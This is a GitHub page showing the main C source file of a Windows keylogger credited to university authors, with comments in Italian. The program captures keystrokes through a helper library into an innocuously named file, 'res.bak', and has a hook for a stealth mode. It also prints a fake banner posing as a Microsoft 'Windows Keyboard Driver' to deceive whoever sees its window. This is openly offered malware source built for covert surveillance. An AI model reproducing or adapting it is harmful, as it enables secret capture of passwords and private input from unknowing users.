-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathkeylogger.c
82 lines (59 loc) · 1.98 KB
/
keylogger.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
/**
* @file keylogger.c
*
* @author Federico Turrin (<[email protected]>)
* @author Leonardo Antichi (<[email protected]>)
* @version 2.0
* @since 2.0
*
* @copyright Copyright (c) 2017-2018 University of Padua, Italy
* @copyright Copyright (c) 2017-2018 University of Roma 3, Italy
* @copyright Apache License, Version 2.0
*/
/* Libreria per il keylogging */
#include <windows.h>
/* libreria per lo standard input/output */
#include<stdio.h>
/* Libreria per la funzione system */
#include<stdlib.h>
/* Libreria per il keylogging */
#include "keylib.h"
/* Nome file su cui salvare i tasti loggati */
#define LOGFILE "res.bak"
/* Definizione della sequenza per uscire */
#define EXIT ".,m"
#define TIME ".,s"
int main(void)
{
/* Se il programma non dovesse essere in stealth in automatico */
//Stealth();
/* Variabile per il controllo di un precedente log */
int c;
/* Variabile per la decisione*/
char dec=7;
/* Controllo se eiste gia' un log con sequenza di uscita */
c = isCollision();
/* Se non ci sono problemi di collisione */
if (c == 0) {
printf("\n|_|_|_|_|_|_|_|_|_| Windows Keybord Driver 2.3 |_|_|_|_|_|_|_|_|_|\n");
printf("\nPlease report any bugs to Microsoft Corporation.\n");
printf("Copyright ©2017 Microsoft Corporation. All rights reserved.\n");
/* Sequenza per terminare */
printf("\nThis Window shuold not be visible, if so, maybe you should reinstall your driver.\n");
printf("\nPlease, contact your system administrator.\n");
/* Rilevazione tasti */
int t = getKeys();
printf("\nDriver shut_down process:\n");
/* Controllo se il programma ha svolto tutto correttamente */
if (t == 1)
printf("0K\n\n");
/* Errore durante l'esexuzione del programma */
else if( t == 0 )
printf("Error!");
}
return 0;
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdParam, int iCmdShow) {
main();
return 0;
}